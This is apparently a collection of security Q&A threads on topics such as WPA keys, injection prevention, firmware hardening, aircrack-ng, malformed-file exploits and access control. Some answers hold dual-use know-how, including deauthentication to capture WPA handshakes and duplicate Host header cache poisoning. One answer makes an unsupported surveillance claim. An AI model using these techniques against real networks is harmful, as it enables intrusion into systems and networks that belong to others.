Any advantage to securing WiFi with a PSK, other than to keep out unauthorized As I understand WiFi with a PSK, such as WPA(2)-PSK or WEP, anyone on the same network can decrypt anyone elses packets because everybody has the same key.

In which case, if you are not going to implement TKIP and want to have a free and open network, is there any benefit to implementing a PSK over an unsecured network?

As I understand it, there is a benefit. WPA2 will generate a different session key for each association. That means that each node will still have its own encryption key. Without capturing the all four packets at the start of a session, a session cannot be decrypted. See Wireshark's documentation on this matter.

That benefit is limited, however. Attackers can force disassociation and anybody capturing a full association will be capable of decrypting everything from there forward.

Edit: It was suggested that I also point out "Hole 196" to you, which affects both PSK and enterprise authentication.


How to convince someone to use layered security? Layered security, also known as layered defense, describes the
  practice of combining multiple mitigating security controls to protect
  resources and data.

How to convince someone to use layered security? While rejecting counterarguments like: "

We already have a rock-solid firewall...
He always installs all security updates...
I use HTTPS on all my pages...

... that should be enough!"

You don't always put in every single possible mitigation you can think of.  There is a cost to this.  Security is always a compromise between risk, cost, and usability.

If you are currently in a position where you need to assess the risk of a particular threat, I suggest you take a look at OWASP's risk rating methodology .

If you follow a rigorous and objective methdology, your peers are more likely to be convinced.  And you have to be open to the possibility that the methodology yields an answer you don't like.


Why does the user pick the password? Almost every web service I can imagine has the user pick the password. Why is this? Couldn't the system choose a better password? It doesn't have to be some complicated mess; see this answer.  Do users just find their own choices more convenient? When selecting the password for the user, you know the entropy, as opposed to placing some restrictions that may prevent them from using a low entropy scheme.

Why do we let the user pick the password?

Why, indeed?

Allow me to ignore that question for a moment, and answer your implied question: Should we?
That is, should we continue to have users create their own password, which is often weak, instead of just having the system generate a strong password for them?

Well, I am of the controversial opinion that there is a pretty strong trade-off here - having a secure password, and KNOWING how secure it is (as you point out), on the one hand, and on the other side is the user's feeling of security. "Usability", to some extent.

I think there are several aspects to this feeling of security: some users would want to ensure that they have a strong password themselves (e.g. via a password manager, or diceware); some users would want to select an easy password; and some users want to use the same password everywhere. And yes, many users just plain expect to be able to set their password, for whatever reason - so besides any specific cause, you will still need to fight the re-education battle, which is far from easy.

Also, don't forget that once you get a good strong password to the user, the (often non-technical) user still needs to figure out what to do with it - even passphrases become difficult to remember after the first dozen or so, or if you only use it every 6 months... The non-technical user would most likely save it in a word document on their desktop, or in their email. (And of course write the OS password on a sticky note attached to the screen).

Now, don't belittle these reasons, or these causes for using weak passwords - we the security industry have created this scenario for the simple folk over years. But it really comes down to: how secure do you need your site to be. How much risk can the user decide to take upon himself/herself, and how much of that is system risk that should be taken out of the user's hands.

So bottom line: Yes, I think most sites that have non-negligible security requirements should offer password/passphrase generation. Depending on the profile and architecture, you could offer 3 options when registering an account (or changing password, etc...) - just make sure to only display the password after warning the user against shoulder-surfing:

Generate passphrase - with a configured or flexible number of words (default)
Generate crazy-strong password with ridiculous entropy, e.g. for saving to password manager
Create your own.

In fact this is what I've been recommending for some time now (variants dependent on the specific requirements...).

Going back to your original question, why is the above not done?
I would guess a combination of legacy systems and bad habits; mis-education (the overwhelming majority of sites still have BAD password policies and recommendations); and perhaps just a lack of awareness of a better solution.

Yes, this is why passwords suck. :-)


Restricting source code to domain name I'm starting a very large project soon.  It must include a licensing system.

The project will produced using PHP/Laravel/JavaScript and use many different libraries, a CMS, and a few databases.

The software will be licensed out to other companies, which is why the ability to enable/disable usage is very important.

For the most part, piracy shouldn't be an issue considering the vast majority of the companies that will use this software don't have the know-how to disable the protection or don't have a developer that could do this.

What's the best way to handle this?  Is restricting the source-code via a per domain basis possible and would it work well?

How would this be done?  How could I manage updates to the software too?

Perhaps it goes against your current projects intentions - however - you should try and avoid selling products to clients which are bundled in this way and where they have direct and absolute control over the source. (I assume they would be hosting your application on a local server? They would need some kind of technician and would they have to know your code in order to fix problems etc...)

The best solution is:
Host the application on your own server and have individual clients subscribe to your server. Distributing a licence to them is essentially granting them authentication rights. You have technical control over their version/authentication/support and are able to amass logs of usage to improve performance etc...

Is there a reason you can't do it this way?


How does the YubiKey Validation Server work from an encryption perspective? Many YubiKey servers rely on the free cloud hosted authentication that comes with the product, but I'm interested in keeping all cryptographic material in my control.  For that reason I am looking at the Validation Server.

The official YubiKey Validation Server source code is written in a language I'm not entirely familliar with, and would rather read a specification.  And from what I can tell it isn't based on HOTP RFC 4226; TOTP RFC, like Google Authenticator.

Can anyone explain how this server (and corresponding device keys) work from an encryption perspective?

Both the validation server and YubiKey OTP use a uniquely-structured AES-encrypted key for validation. The security information about the Yubico Validation server and YubiKey OTP is available here.

You can also discuss the validation server with other users on the Yubico forums.


How to respond to a request for information on a system's architecture without compromising security? Let's say that I am a Federal CIO and need to respond to a request for information on the architecture of a financial management system.  I want to demonstrate that the system is capable of supporting multiple customers, can scale to thousands of users, includes modules A, B, C, D, etc., is interfaced to systems X, Y, Z.  How can I structure the response so that I don't compromise the security of the architecture?  For example, what type of diagram can I provide?  What type information can it include?  And shouldn't include?

Ideally the security of the system shouldn't be dependent on not knowing the entire layout of the system, however, it does make things more difficult.  Certainly, anything like honeypots should be removed or altered on the diagrams and you should remove key details wherever possible so long as you can still get across the necessary information.

Exactly what is needed and what isn't depends on both the system design and the questions being asked.  Simply give the minimum level of information necessary to answer the question and try to leave out any security related details where possible, but also ensure that your security isn't compromised if someone knew more about the system than you are saying.


Making SQL/HTML Injection attacks programmatically impossible Apparently having 100% prevention of SQL Injection and XSS attacks is easier said than done, but why?

Can't static code analysis tools ensure that all user supplied input vectors (including user tainted variables) are sanitized?  Or enforcing it with a restrictive programming language or framework?

Wouldn't the below rules make XSS and SQL Injection impossible?

SQL Injection immunity - enforce every query with the database is done with prepared statements and bind variables.

For rare circumstances where prepared statements harm performance in an unacceptable way, enforce strong validation and/or character escaping rules for the context of the underlying database technology.

HTML Injection immunity - enforce all HTML generated pages to be done with templates (much like prepared statements with bind variables) where every user supplied variable, or user tainted variable, is put into slots with context specific rules for escaping or stripping special characters.
Encoding Mixup immunity - enforce encoding consistency between all inputs and outputs.

E.g. Requiring <meta charset="utf-8"> as a header on all HTML templates and ensuring all data is processed with that same encoding.

So what's the problem with this idea?

Is this just not feasible for all use cases?  If so, what are some example use-cases where these rules are not feasible?

I suppose this might not be feasible for already existing web applications that were developed without following these rules, and re-designing them might not be cost-effective from a business standpoint.  But what about new web-app development projects?  Can these rules be programmatically enforced before allowing it to enter production

Is my assumption just wrong about these rules preventing 100% of these attacks?

References:

https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
https://www.owasp.org/images/5/5a/Unicode_Transformations_Finding_Elusive_Vulnerabilities-Chris_Weber.pdf

Nothing is ever impossible.

But SQL injection vulnerabilities have gone down with ORMs and query builders which prevent the most common mistakes. In my experience, applications which use a secure(ish) by default template engine also have fewer XSS issues.

But the main problems are:

Input sanitation will never solve all issues as you can't sanitize the input for all contexts.
That leaves proper handling at the sink. You'd need to flag all insecure function calls (eg native query), you can't have any variables in your prepared query, and you can't make any exceptions ('the input isn't user-controlled, so it's fine', 'For rare circumstances where [...]', because it will very quickly become unmanageable). This will severely restrict usability for developers.
XSS is very versatile and not all cases can be prevented via templating (eg DOM XSS).

Examples: SQL injection

Let's take PHP as example. You could flag all uses of the various SQL functions (query, etc) and only allow use of prepare. You'd also need to check that no variable is passed to prepare:

$stmt = $conn->prepare("SELECT test from table WHERE x=?");
$stmt->bind_param("s", $test);

But what if you want the tablename to be variable? Or if it's a complex query which you first need to build? Eg:

$filterquery = " WHERE ";
for ($filter in $filterarray) {
    $filterquery = ...
}

$stmt = $conn->prepare("SELECT test from $tablename" . $filterquery);
$stmt->bind_param("s", [...]);

That's something you couldn't allow, as checking if $filterquery is secure is non-trivial. But disallowing variables in queries will severely restrict your developers.

You could use a querybuilder and check that only the binding functions accept parameters (eg setParameter in doctrine), but again you would need to prevent any variables from being passed to other functions such as where). As there are legitimate use-cases for that, it would also restrict usability for developers.

Examples: XSS

With XSS, this becomes even more difficult. First, you'd need to check for all functions which output data and prevent that (echo, print, die, etc) so outputting can only be done via the template engine (this is certainly doable).

But you can't build HTML code dynamically outside of the template, because you can't pass complex variables to it (no way to know if the data is (partially) user-controlled).

You can now HTML-encode the data by default to prevent many cases of XSS. But how do you know if you are in a JavaScript context? Or a src attribute context (where you need to prevent javascript: links)? That's also non-trivial to check (or you need your developers to flag which context the variable is printed in, which is error-prone).

And then there's DOM-based XSS. And maybe you want to allow some users to post a limited subset of HTML (which you can filter, but for which you'd need exceptions in your template).


VPN and SSH overseas I stopped penetration testing and studying network security, for the most part, when the "NSA Playset" was released years ago. Thus, I have an IT question to impose upon you.

I will be traveling overseas and I will need to access a website and a server securely. If I connect to, say a hotel wifi in Thailand, can the SSH be sniffed and compromised? I have never read anything about stripping security from SSH so this is my main concern.

SSLstrip can compromise web traffic, thus I will certainly need a VPN. Should I also be using a private Sock proxy? Is there a precaution I can take before connecting to hotel wifi?

I feel I only need a VPN, but using wifi at a hotel in another country is really off-putting to me. Someone could potentially be snipping all traffic on known ports all ready and using some mechanism unknown to me to filter my traffic.

Any and all help is greatly appreciated. Thank you for taking the time thus far!

_Evan

For the SSH part, as long as you will have the server public key stored in the known_hosts of your computer (or way to safely verify the fingerprint), the connection between your client and server can not be intercepted, modified nor compromised in any other way (given you are you using SSH2 protocol with current algorithms and keys of reasonable size).

You can use also SOCKS proxy over SSH, but full-featured VPN is probably a better way of doing that. Once again, VPN provides a way to authenticate the server to the client (certificate?) so once you will be connecting to the server, but I am not so well versed in this area so I will leave it for the others.


How much should I care about the iOS/Android version when pentesting mobile app? Lets say I am performing penetration testing on mobile application, How significant is the version of operating system I am using while running the application?

I.e. if I test mobile application built for Android, is it important to check it both for Android 2.1 and for Android 4.2?

It largely depends, but there were some significant API changes between 2.1 and 4.2 which may change the way certain operations work on the device.

If you're looking at something like a music app, or a game, you're likely to find any vulnerabilities in operational code (credential handling, network stuff, buffers, etc.) rather than misuse of the API. However, if you're looking at a more in-depth app (e.g. an APK installer, a ROM manager, etc.) you're likely to find more unusual uses (or abuses) of the API, so that's a case where it's certainly worth checking on multiple versions and devices.

The exact same logic applies to iOS, though keep in mind a lot of apps will target a rather restricted set of iOS versions due to Apple's breaking changes between releases.


what are the best counter measures against reverse engineering of firmware? How can I best prevent, that critical commandos (e.g. open garage door) from an IoT device are being reverse engineered from the firmware? Is the following list complete / do you spot any errors? Any comments?

Encrypt firmware patches for the device, that are available for download - cost: little – security: high
activate the fuse lock bit on the device - cost: none – security: ?
code obfuscation – cost: little – security: little
HDD encryption – cost: medium – security: high
(AES) encryption of data (device commands) at rest – cost: little - security: high
JTAG fuse – cost: medium – security: high – con: device isn’t updatable anymore
JTAG password – cost: low – security: ?
hiding UART interface on the PCB – cost: medium – security: low

How can I best prevent, that critical commandos (e.g. open garage door) from an IoT device are being reverse engineered from the firmware? Is the following list complete / do you spot any errors? Any comments?

Don't try to prevent it. Accept that an attacker understands your protocol, but ensure that the protocol is safe, even when the attacker knows the protocol. This is known as Kerchoff's principle.
Even if your app and firmware is perfect, and impossible to reverse engineer, the attacker can listen to the communication in some way. If it's RF, a cheap SDR will let an attacker listen. If it's TCP/IP it's even simpler.
Focus on securing secrets, not code or protocols.
Mistakes like this is exactly what makes bad IoT security; the same key is used everywhere, because the firmware is hard to read... One break, and poof, your security is gone. If you have a good protocol, publication of your source code will not matter to the security of your system. It may make your business more difficult by revealing trade secrets, but it should not affect security.


Why aircrack asks for info about target that isn't really needed? Why aircrack needs info such as target's BSSID,Channel and more? Also what do those files do? I know one of them is used to save the handshake. But others?
Also, how deauth helps in cracking the password when there is a dictionary?

Why ESSID and dictionary file aren't enough?

Tried to pull out a few questions from this:

Why isn't the ESSID enough?

I'd like to point out that in many large, distributed Wi-Fi setups (think corporate or campus networks), there will be several, possibly many access points (APs) broadcasting the same ESSID in a given physical area. Each AP will have its own BSSID, since each piece of network hardware has its own MAC address. Being able to filter by BSSID allows you to focus on a single AP for attacking. Most attacks will typically target a single access point (e.g. using aireplay-ng, you generally must target a specific BSSID).

Why must I specify the channel?

airodump-ng is fairly low-level and barebones, and makes little-to-no assumptions about what you are trying to do with it, so it makes sense that the channel must be specified manually. Note that aireplay-ng is capable of auto-determining the channel given a specific BSSID when launching some attacks, but this tool has a different purpose.

Setting the channel is also useful if you want to capture all of the traffic on a given channel.

Why can't I specify a dictionary file for airodump-ng?

The main job of airodump-ng is to capture Wi-Fi packets. It makes no assumptions about what you want to do with said captures; whether you just want to log them or are going to try and recover a network's pre-shared key (PSK). The functionality for attacking captured WPA handshakes resides in the separate aircrack-ng tool.

How does deauth help with cracking the password?

It doesn't help with cracking the PSK. We use crafted deauthentication frames to kick devices off of the network so that they try to re-associate, thus performing the 4-way WPA handshake again. The 4-way handshake contains the information that we need in order to crack the PSK offline. Crafting deauthentication packets isn't strictly necessary to obtain the 4-way handshake; devices may (re)connect and perform the handshake on their own. In some scenarios, it may not be desirable to send deauthentication frames since it is a noisy operation and can be detected by wireless intrusion detection systems.


Could you write custom data to a file of a specific extension and use it to hack a program once it opens the file? From what I understand file extensions don't really affect the data contained within them at all. They just give your computer a hint of what the data is, how it's structured and your computer then finds the best program to deal with that specific file type.

So my question is: if you could write custom data to, for instance, a .png file that actually contains different values than what a normal .png file is composed of, then have a program open it, could you get it to do something malicious?

File extensions

The file extension actually has absolutely nothing to do with the data in the file or how that data is structured. Windows likes to make you think the extension is somehow magical - it's not, it's just part of the file name, and tells Windows which program to launch when you open the file. (Linux/Android and MacOS/iOS still use file extensions a bit, but not nearly to the same degree that Windows does.)

You are completely correct that you can dump some data into a file, call it virus.png and it'll get opened by an image viewer. Call it virus.docx and it'll get opened by MS Word.

Unexpected data

If you take a well-written program and feed it file containing data that it's not expecting, nothing exciting should happen. The program should give an error about a "corrupted file" or something similar and move on with its life. The problem happens when the program is not well-written - usually due to some small bug like a programmer forgetting to check the bounds of an array, forgetting to check for null pointers, or forgetting to put braces { } on an if statement.

Even if there is a bug, 99.999...% of malformed data will get the "corrupted file" error. Only if you construct the data very carefully can you get something malicious to happen. For a concrete example, see the section on StageFright below.

(Thanks to @octern's comment for this).

Malicious payloads in innocent-seeming files

Yes, what you're describing is actually a common attack vector - hence the general fear of opening unknown email attachments.

As an attacker, if you know that there's a vulnerability in a specific program, say the default Windows image viewer, then you can construct a malicious file designed to exploit this. Usually this means that you know that a certain line of code in the viewer does not check the bounds of an array, so you build a malformed .png specifically designed to do a buffer overflow attack and get the program to run code that your inserted.

PNG exploits

For example, here's a vulnerability report about the open source library libpng [CVE-2004-0597].

  Multiple buffer overflows in libpng 1.2.5 and earlier, as used in multiple products, allow remote attackers to execute arbitrary code via malformed PNG images in which (1) the png_handle_tRNS function does not properly validate the length of transparency chunk (tRNS) data, or the (2) png_handle_sBIT or (3) png_handle_hIST functions do not perform sufficient bounds checking.

Aside: a Common Vulnerabilities and Exposures (CVE) is a way to track known vulnerabilities in public software. The list of known vulnerabilities can be searched here: https://cve.mitre.org/cve/cve.html

If you search the CVE's for "png" you will find hundreds of vulnerabilities and attacks just like the one you imagined in your question.

Android StageFright

The StageFright Android vulnerability of April 2015 was very similar: there was a buffer overflow vulnerability in Android's core multimedia library, and by sending a malformed audio/video file by MMS (multimedia message), an attacker could get complete control of the phone.

The original exploit for this vulnerability, was for an attacker to send a 3GPP audio / video file in which looked like a valid audio/video file, except that one of the integer fields in the metadata was abnormally large, causing an integer overflow. If the large "integer" actually contained executable code, this could end being run on the phone, which is why this kind of vulnerability is called an "arbitrary code execution vulnerability".

PDF and MS Word exploits

If you search the CVE's for "pdf" or "word" you'll find a whole pile of arbitrary code execution vulnerabilities that people have been able to exploit with those file types (wow - a number of very recent ones for Word too, neat). That's why .pdf and .docx are commonly used as email attachments that carry viruses.


How secure is ionCube compiled code? I use ionCube to keep the code I write concealed for my customers.

If I would store a password inside the code and compile (not encrypt) it with ionCube encoder, would it be possible for a potential hacker to get hold of that password?

For example, is it possible to reverse engineer parts of the PHP code, that was compiled with ionCube?

Or, could you send commands like get_defined_vars() in a page that was compiled, if you have the complete encrypted source-files?

Yes, it's possible to reverse engineer anything that is running inside a computer. It will always be loaded, at some point, into memory, at which point it will be unencrypted / decoded / unzipped / e.t.c., so the processor can handle such code.

In your case, a password that is hard-coded in a variable will eventually be used. And so it can be used, it will first be unencrypted...


Audit trails vs. log files I read an article that said if you use production data in your test system that you should enable logging and audit trails.

What is the difference between log files and audit trails? Isn't it nearly the same?

Logs record every action as it happens:

[timestamp] User A did action Y
[timestamp] User B did action Z
[timestamp] User C did action Y
...

Audit trails go much further into the connections between the actions and what other things happened as a result.

[timestamp] User A did action Y
[timestamp] System received Y and did action Z to data store
[timestamp] Data store was updated with data and sent notification back to User A
...

Logs tell you what an actor (user or entity) did. This is enough if you want to monitor who did what when.

Audit Trails tell you what sequence of actions occurred in order for a certain state to be created. This is what you want if you need to confirm how and why the system or the data is in a certain state.

And, in some cases, people use the terms interchangeably ...

In a test environment with production data, it is not enough to know that the devs logged in, for instance, but it is important to be able to prove that production data didn't leave the approved area. Audit trails help you prove the state of the production data at all times.


Are repeated multi-factor authentication codes a problem The library I am using (ASP.NET Identity) to generate multi-factor authentication (MFA) codes will produce the same code for a given user within a certain period of time. Therefore if the user requests multiple codes in quick succession they will receive the same code multiple times.

From a security perspective, is this a problem?

It seems to be deliberate in the way the library has been designed. Am I missing some common method by which code repetition is avoided?

This is an intended functionality. There is no point in sending separate 2FA code every time within, for example, 5 minutes if it hasn't been used.

From a security perspective this isn't a problem, for if your 2FA method is compromised it won't matter if you send different or the same code. The main thing is for the pin code to not be easily guessable within the time frame it is repeated.


What vulnerability might this invalid HTTP_HOST value be trying to exploit? I just received an error email from my home web-server (It's a low traffic site, and since it's running a Django application I've written myself getting an email on errors helps me find bugs).

Subject: [Django] ERROR (EXTERNAL IP): Invalid HTTP_HOST header: '203.7.2.230 deimos-legion.net'. The domain name provided is not valid according to RFC 1034/1035.

Invalid HTTP_HOST header: '203.7.2.230 deimos-legion.net'. The domain name provided is not valid according to RFC 1034/1035.

The requested URL was /?author=1 (The / page is a simple news page, and doesn't use query parameters, so this couldn't have originated from a link on the page).

The rest of the request specifics are provided below. Anyone have any idea what this request was trying to do / what vulnerability it might have been trying to exploit?

GET:<QueryDict: {u'author': [u'1']}>,
POST:<QueryDict: {}>,
COOKIES:{},
META:{'CONTENT_LENGTH': '',
'CONTENT_TYPE': '',
'DOCUMENT_ROOT': '/var/www',
'HTTP_ACCEPT_ENCODING': 'identity',
'HTTP_CONNECTION': 'close',
'HTTP_HOST': '203.7.2.230 deimos-legion.net',
'HTTP_USER_AGENT': 'Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0',
'PATH_INFO': u'/',
'QUERY_STRING': 'author=1',
'REMOTE_ADDR': '89.248.174.49',
'REMOTE_PORT': '21642',
'REQUEST_METHOD': 'GET',
'REQUEST_URI': '/?author=1',
u'SCRIPT_NAME': u'',
'SERVER_NAME': 'solaris.deimos-legion.net',
'SERVER_PORT': '80',
'SERVER_PROTOCOL': 'HTTP/1.1',

(I suppose the presence of SCRIPT_NAME suggests this is an attempted PHP exploit - I don't think Django uses that value.)

It looks a little like shared cache poisoning attack that leverages HTTP Response Splitting.

This attack works by sending two HTTP Host headers: evil.com and yourhost.com, and exploiting a mismatch in how different subsystems deal with multiple headers.

For example, the Varnish cache would treat the first Host header as true, whereas the nginx web server would use the last one.

I'm guessing you use Apache, which concatenates the Host headers.

A standardization was established in RFC7230 that purports to protect against these attacks:

  A server MUST respond with a 400 (Bad Request) status code to any HTTP/1.1 request message that lacks a Host header field and to any request message that contains more than one Host header field or a Host header field with an invalid field-value.

SCRIPT_NAME does not indicate a PHP exploit, it's likely just the initial portion of the application's path in your WSGI.


Why is uPnP settings in router showing external IP address and WhatsApp as app description? I was fiddling with my router's uPnP settings and found this:

Why is an external IP address showing here?
I also did a reverse IP search and to my surprise the IP 25.54.27.39 showed "UK Ministry of Defence". I am not in the UK military or on a military base.
Is something malicious going on here? I have already disabled uPnP.

When available, WhatsApp uses uPnP for dynamic port forwarding and external IP address discovery to establish peer-to-peer VoIP session. The external IP address you are seeing is the public IP address of someone with whom you are on call via WhatsApp. If it is not you, then someone in your family is making a VoIP. uPnP settings only shows active uPnP connections.
uPnP is the NAT traversal protocol which opens a temporary port for inbound traffic and forwards it to the uPnP client (like WhatsApp and BitTorrent client). NAT by default blocks any inbound traffic to whom you didn't send the request first. A uPnP client makes a request to uPnP listener which is your wifi router to punch a hole in NAT which allows anyone to reach out to the uPnP client. This allows the caller to send you session data without getting blocked by NAT.
Another purpose of uPnP is to let apps using peer-to-peer protocol to discover your external IP address in order to advertise how others can reach out to you without getting blocked by NAT. In VoIP, this advertising is called signalling. Signalling is not a part of uPnP.
Another method that WhatsApp uses for NAT traversal is STUN protocol which achieves the same purpose but that won't show up in your router logs.
You should ask your WhatsApp contact why he/she is using the internet of UK Ministry of Defense. They could be under surveillance.
You can read some more details in this answer: Found an application (Whatsapp) initiating UPnP requests, is it something that I should worry about?


tor and widecap dns leak I am using a program that I coded in C#.
All it does is use HttpWebRequest to request some pages and read info from them.
I tried running it through Tor. I installed the Vidalia Bundle and Widecap.
My program is definitely run through Tor because I checked my IP from within the program.
But I get this warning in the vidalia message log:

  Aug 22 10:40:42.290 [Warning] Your application (using socks5 to port
  80) is giving Tor only an IP address. Applications that do DNS
  resolves themselves may leak information. Consider using Socks4A (e.g.
  via privoxy or socat) instead. For more information, please see
  https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.

I tried a lot of methods to stop getting this warning but I am still getting it.
I tried using Privoxy but when I start it nothing is written in the console it just doesn't seem to work.
The bundle installs Polipo by default. I tried running it and the following message appears:

  DNS: couldn't open /etc/resolv.conf: No such file or directory
  Disabling disk cache: No such file or directory Disabling local tree:
  No such file or directory Established listening socket on port 8123.

If I try to connect on 8123 there doesn't seem to be anything listening there.
I checked the Tor FAQ. For windows there seem to be just TorDNS wich doesn't seem to exist.
And a virtual machine and I don't think that will help in my case.
I also tried using proxyfirewall instead of widecap but it spits out an error on startup and nothing else happens anyway.

Any ideas? Thank you.

I'm assuming you're using a domain name as a target in your application, e.g. google.com instead of 173.194.34.69. The DNS query is being done without the proxy.

The implementation of HttpWebRequest calls Dns.GetHostEntry, which uses the Winsock API (WSA) to perform a DNS query, outside of the proxy you specified. Unfortunately, this leaks the IP of the server you're trying to connect to. Once it has the IP address, it opens up a TCP connection to your SOCKS proxy, and tunnels through to the target.

The Tor Browser gets round this by getting the proxy to perform the DNS queries, by simply specifying a hostname instead of an IP address when sending the connect command. This is a supported feature of SOCKS4a. There's more info on it at the Tor FAQ. You'll need to write your own proxy client implementation in C# to utilise this, since the .NET framework doesn't currently provide a way to do it.

A workaround would be to replace the URL with an IP address. You'll still get the same warning, since Privoxy is just warning you that you're connecting to an IP address it hasn't seen a DNS query for, but you won't actually be doing the DNS query at all.


Are keys or RFID tags more secure access control solutions? Just musing to myself, what is the preferable access control mechanism in high security environments? Locks and Keys or RFID tags?

Going under the assumption that the locks/keys are not knoow to be pickable and that the RFID tags are not currently known to be vulnerable, how should one choose the appropriate system?

I think the smarter way to go would be RFID as it provides audit-able logs of which card has accessed what when but perhaps i'm missing anything that's in favor of the keys?

Conceptual view: there is authentication, and there is authorization; these are distinct activities. Authentication is about making sure of who you are talking to; authorization is about deciding what some individual is allowed to do. You actually want to keep them separate.

RFID tags implement authentication: through the electronic conversation between the tag and the reader, the reader ascertains the identity of the tag, so (presumably) the identity of the tag holder. Authorization is performed by the reader, that can be linked with some central authorization server. On the other hand, with a key, authentication and authorization are conflated in the same device: having the key in hand automatically grants access.

The need for separation of authentication and authorization is made most visible when you want to revoke an access. With RFID tags, that's easy: simply flip some flag in the authorization server database. With keys, you cannot do that: to revoke an access, you must either recover the key itself (and you cannot do that if the reason for revocation was that the key has been lost or stolen), or change the lock (and that's expensive, not only for the lock itself, but because you must distribute a new set of keys to the other users). In a similar vein, with RFID tags you can enforce time-based access control (access granted only at some times in the day), and you cannot do that with keys.

Another good property of RFID tags is selective cloning. When a new employee must be granted access, issuing a new tag for him is easy for the system administrator; but users themselves will find it hard to clone their tag (good tags are like smart cards: they are tamper resistant). This means that authorization management remains in the hands of the sysadmins. With keys, either keys cannot be duplicated, in which case granting access to new users is hard, or keys can be duplicated, in which case preventing rogue cloning by existing users is hard.

Summary: RFID tags are superior to keys because they allow for fine-grained access control with immediate revocation, and centralized authorization and administration.

The most salient point which would make keys preferable over RFID tags, in some specific contexts. is that keys don't need to be powered. A padlock which has been locked, remains locked even after an extended power outage. However, in most cases, RFID tags are better.


Remote code execution over WAN Say I am on a a computer behind a NAT and I want to execute an RCE exploit on another computer behind a different NAT(note that no ports are forwarded to the victim's computer on his/her NAT) Could I then run an exploit like this(assuming that I already know that the target computer is vulnerable to that exploit) and hope to get a shell, if yes what changes are to be implemented such that the exploit is successful?

This boils down to a basic networking problem: if the exploit requires you to connect to a listening network service on the target (e.g. exploiting BlueKeep requires you to connect to the RDP service running on the target), you need a way to connect to the target by IP address. You mention the target is behind a NAT, and that port forwarding is not configured. So how would you address the target?

If you launch your exploit directly at the WAN address of the NAT device, it doesn't have any rules set to deal with the traffic, so it will be dropped or rejected. If you launch your exploit directly at the internal address of the target, it won't get anywhere since it shouldn't route across the internet.

Basically, you are out of luck unless port forwarding is configured (either manually or through something like UPnP), or if you can get a shell on another device on the target's internal network to pivot with.


how is public key being exchanged in asymmetric cryptography? I understand that exchanging public key between parties is challenging task in asymmetric cryptography.Can someone help me understand how it is achieved?

Even though I think you might be referring to the secure key exchange process (for this, I suggest you have a look at Diffie-Hellman as an example) rather than to the public key specifically, I will answer the original question because I have always been taught not to divagate.

There are three main ways you can exchange a public key with someone:

Manually: you simply take your public key and send it to the recipient. This is often done when you use PGP with some of your contacts, for example, if you decide not to upload it to one of the key servers;
Automatically: your computer comes with a bunch of certificates built-in, which of course include the relevant public keys. In this case, you don't have to do anything as you already own a list of trusted public keys;
You use a directory: this is the typical implementation in the workplace. You probably already have a directory with user account information, so you can add the users' public keys as an extra piece of information in a user account.


How big is the risk, to enable scripting in the Web browser? While browsing the web, many websites executes scripts (mainly javascript) that are executed without the user noticing. How big is the risk, to get Malware unnoticed while surfing with scripting enabled? To elaborate on the how much: is scripting in browser more problematic than other contents like CSS or images? What are these problems?

There is definitely a risk - scripting essentially allows execution of code on the browser.  The vulnerabilities range from reading your browser's history to installing malware to phishing your bank credentials - each of which can potentially cause you "harm" in some way.

However, given that most of today's web sites rely on scripting, there's a huge loss in turning scripting off, up to and including the site no longer showing up in your browser.  Turning off scripting also won't protect against other ways for bad things to happen to your computer, so the return for the inconvenience isn't incredibly high.

Probably the most common use of scripting is analytics, which allows the webmaster for that site to gain information about who is accessing which pages, thus potentially improving the flow of the site and the information presented.  However, the flip side of analytics is targeted advertising, which allows advertisers to follow users across multiple sites.

The majority of scripts on websites are "mostly" harmless, just like the majority of software that's available is "mostly" harmless.  Security folks focus on the malicious side of things, and continually re-learn that there's a trade-off between usability and security.

What I personally do is use Firefox with the add-ons NoScript and Ghostery.  Between those two - NoScript especially - the chance of having scripts injected into the page I'm viewing is greatly reduced.  I still expect to get pwned at some point, but the tools I have will do a reasonable job of keeping me aware of what's happening as long as I continue to pay attention.


Creating a Password Policy for a Bank Corporation, what must one take into consideration? When creating a Security Policy such as Password Policy, what are some of the typical assets that need to be protected?

And how does this affect, employees, contractors, vendors, suppliers, and representatives who access the organization-provided or organization-supported applications, programs, networks, systems, and devices.

A Bank Corporation which has a large staff, different data centers, intranet, and web-based access.

Information:

Data about customers.
Payment transactions.
Information about employees.
Logs.

What other assets or information can one include, which needs to be protected. Additionally, a Password Policy of some type must be designed, so that staff, can access sensitive information about bank customers which have their accounts there. Meaning, the digital environment of a BANK CORPORATION used by employees.

Administrators
CEO
Employees
Customers

Let me try to answer this question.

In general, it is the role of the business owners to have up to date inventory of all assets, to decide on critical assets and to prioritize the importance of before any further business impact analysis and action related to security (confidentiality, integrity, accessibility) happens.

One could classify assets and data related to any organization's security as follows:

1) assets the organization owns and has control over:

physical security, physical access control systems, access to media including electricity, water, gas, fiber, any cabling, building structure
on-premise infrastructure including on-premise IT systems, applications, and networks
IoT devices (ATMs, routers, switches, printers, displays, PoS kiosks, smart TV displays, UPS)
corporate laptops, tablets, smartphones
WiFi and LAN networks,
VPN access,
virtualization (VMs, virtual firewalls, containers)
Mobile banking applications (including access to source code, access to platforms and shops)
firewalls
backup and archiving solutions
public and intranet websites
content management systems
document management systems
any process automation solutions
business intelligence, business warehouse solutions
operational data databases
legacy systems, obsolete systems
data on external media (USB sticks, memory cards, external drives, CD/DVD storage)
confidential printouts, including mail
smart cards, hardware security tokens
biometric data repository
Software Development Lifecycle-related (CI/CD applications, source code versioning repositories, development access keys)
testing environments
experimental/sandbox systems
Data Leakage Prevention systems
logging and auditing systems
Identity and Access Management systems
Governance, Risk and Control systems
Fraud Management systems
call-center systems
CRM systems
PII data: employee data, customer data, vendor data (master data, voice/audio recording)
IP: intellectual property, strategic analysis, contracts, and procurement
software licensing,
software patching,
Password Management software

2) items the organization interacts with but has limited control over:

employees, externals and on-site contractors,
cloud systems (IaaS, PaaS, SaaS, FaaS),
third party systems and their maintenance and security roadmaps,
third party software and their maintenance and security roadmaps,
BIOS
OS source code
interface/middleware/API access for customers, vendors, and government,
Bring-Your-Own-Device (smartphones, tablets, laptops)
vendors and their IT systems
third party load balancers, cache
third party OATH, identification and authentication providers

3) items the organization has no control over:

customers and their IT systems, government (regulatory, compliance, legal, law enforcement) systems, that require and collect data via connectors/APIs/periodic data transfers,
automated internet crawlers, data collectors and bots
random visitors
